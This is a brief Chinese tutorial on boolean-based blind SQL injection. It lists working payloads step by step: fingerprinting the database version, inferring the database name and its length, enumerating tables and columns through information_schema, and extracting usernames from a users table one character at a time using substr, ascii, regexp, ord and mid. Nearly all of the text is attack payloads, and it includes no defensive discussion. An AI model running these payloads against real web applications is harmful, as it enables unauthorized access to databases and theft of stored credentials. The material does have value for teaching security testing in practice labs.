SQL布尔盲注

1.利用left（database(),1）进行尝试

　　　　payload: left(version(),1)=5

　　

　　 查看一下version（）查看数据库版本号第一位是不是5.返回结果正确。

2.看一下数据库的长度

　　　　payload：length(database())=8

　　　　

　　　　当长度为8时，返回正确结果

3.猜测数据库第一位

　　payload：left(database(),1)>'a'

　　

　　判断数据库的第一位是否大于A，然后继续换字符A,B,C,D....尝试，当返回结果失败时，说明猜测不对。去前一个字符即可。

　　同样方法，然后判断数据库的第二位

　　

　　

首先猜解数据库中表的数量：

1’ and (select count (table_name) from information_schema.tables where table_schema=database())=1 # 显示不存在

1’ and (select count (table_name) from information_schema.tables where table_schema=database() )=2 # 显示存在

说明数据库中共有两个表。

接着挨个猜解表名：

1’ and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1 # 显示不存在

1’ and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=2 # 显示不存在

…

1’ and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 # 显示存在

4.利用sbustr（） ascii() 函数进行尝试

　　substr(a,b,c) 从b位置开始，截取字符串a的c和长度。

　　ascii（）将得到的字符转换成ascii码。

　　数据库的第一个表第一个字符获取

　　payload :ascii (substr((select table_name from information_schema.tables where 　　table_schema=database() limit 0,1),1,1))>80%23

 　　

　　当知道数据库名时 table_schema可改成个数据库名，使用二分法进行测试。直到正确为止。

　　获得第一个表的第二位字符：

　　payload：ascii (substr((select table_name from information_schema.tables where 　　table_schema=database() limit 0,1),2,1))>80%23

　　

获取第二个表的

　　payload:ascii (substr((select table_name from information_schema.tables where table_schema=database() 　　limit 1,1),1,1))>80%23

　　

　　以上结束可以获得看所有表的名字。

5.利用regexp获得列的信息

　　查看表中是否有us** 的信息

　　payload：and 1=(select 1 from information_schema.columns where table_name='user' and table_name 　　regexp '^us[a-z]' limit 0,1)%23

　　

　　使用同样的方法，利用regexp 去匹配 尝试常用的username、password等。

6.利用 ord() 和mid（）函数获得表中内容。

　　payload：and ord(mid((select ifnull (cast(username as char),0x20) from security.users order by id limit 0,1),1,1))=68%23

 

　　获得user表中的内容。获得username中的第一行的第一个字符的ascii。与68比较。正确则返回正确的结果

　　mid(a,b,c)从为止b开始截取a字符串的c个字节

　　ord（）函数同ascii（）函数，将字符转换成ascii